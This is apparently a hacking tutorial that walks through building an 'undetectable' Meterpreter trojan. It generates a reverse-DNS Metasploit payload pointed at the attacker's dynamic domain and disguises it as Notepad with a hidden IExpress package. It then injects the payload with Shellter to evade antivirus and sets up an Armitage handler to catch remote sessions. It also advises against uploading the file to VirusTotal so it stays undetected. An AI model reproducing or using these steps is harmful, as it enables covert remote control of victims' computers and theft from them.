In this tutorial I am going to show you how to create an undetectable Meterpreter Trojan using a Domain name. I have taken a few guides/tutorials and built it into one. The first part is creating the DNS Payload. The second part is creating the Executable file. Part 3 is using both in Shellter to create your undetectable Trojan. Part 4 is setting up your listener using Armitage.
Things You Will Need:
- Kali Linux
- A No IP account with a domain name
- A forwarded port on your router
Part 1: Creating the DNS Payload
- Open Metasploit on Kali by typing msfconsole in a terminal.
- Type use payload/windows/meterpreter/reverse_tcp_dns.
- Type show options. This will show you that you need to set your lhost and lport.
- Type set lhost (hostname you created, without http://).
- Type set lport (port you have forwarded on your router set for the Kali machine).
- Type generate -h. This will show you the options for generating the payload. You can choose different options but at least do the following.
- Type generate -f (file name you choose for the payload) -p windows -t raw. Ex. generate -f DNS -p windows -t raw
- Exit the terminal and click on Files. Your payload will be in your Home (Unless you set an option for a different location).
- Transfer the created payload to Windows. (Be aware that your AV might detect it at its current state).
Part 2: Creating the Executable File in Windows
- Choose option that applies to you. (Important as Shellter does not work with 64-bit executables).
- 32-bit Windows – Navigate to C:\Windows\System32\iexpress.exe (Right click and select run as administrator)
- 64-bit Windows – Navigate to C:\Windows\SysWOW64\iexpress.exe (Right click and select run as administrator)
- Choose Create new Self Extraction Directive File and click next.
- Click next on the Package Purpose page.
- Type the title of the package. (This can be anything you want) Ex: Notepad.exe
- No Prompt, click next.
- Do not display a license. Click next.
- Click Add and choose any file on your computer. I choose Notepad.exe in the C:\Windows\System32 folder. Click Next.
- Click the drop arrow and choose the file name you choose on the last screen. Click Next.
- Choose Hidden and then click next.
- No Message. Click Next
- Click Browse and type a name for your malware file and a destination. Check the Hide File Extracting Progress Animation from user. Click Next.
- Select No restart and then click next.
- You can then either choose to save the self extraction directive or don’t save. Click Next.
- Click Next again on the create Package. Then click Finish.
Part 3: Using Both Created Files in Shellter to Create Your Trojan
- Open the folder that Shellter is in. Right click on Shellter.exe and click Run as Administrator.
- Type A for Auto.
- Type N for No.
- Type the location of your created EXE file from Part 2 and hit enter. Let Shellter do it’s thing for 30 seconds to a minute.
- When asked to choose payload, type C for custom.
- Type the location of your created payload in Part 1 and hit enter.
- Type N for No reflective DLL loader.
- Hit enter and let Shellter finish doing it’s thing If it says Injection Verified! you should have a working undetectable Trojan.
- Hit enter to exit Shellter.
Part 4: Set Up Your Listener
You can either use Metasploit or Armitage. I prefer Armitage so my tutorial will be for that.
- Go back to Kali.
- Open Terminal and type Msfupdate
- Once it’s done type apt-get install armitage.
- Type msfdb init
- Open Armitage
- Click Connect
- Click Yes
- Once Armitage opens type: use exploit/multi/handler
- Type set lhost 0.0.0.0
- Type set lport (your port you forwarded in your router)
- Type set payload windows/meterpreter/reverse tcp dns
- Type set exitonsession false
- (Optional.) Type set autorunscript migrate -f
- (Optional.) Type set prependmigrate True
- Type exploit -j
(Optional steps are to migrate the process automatically so the session does not end before you can do it manually)
Now you should be able to run your undetectable Trojan and get a Meterpreter session.
DO NOT Upload your created Executable to online sites such as Virus Total.
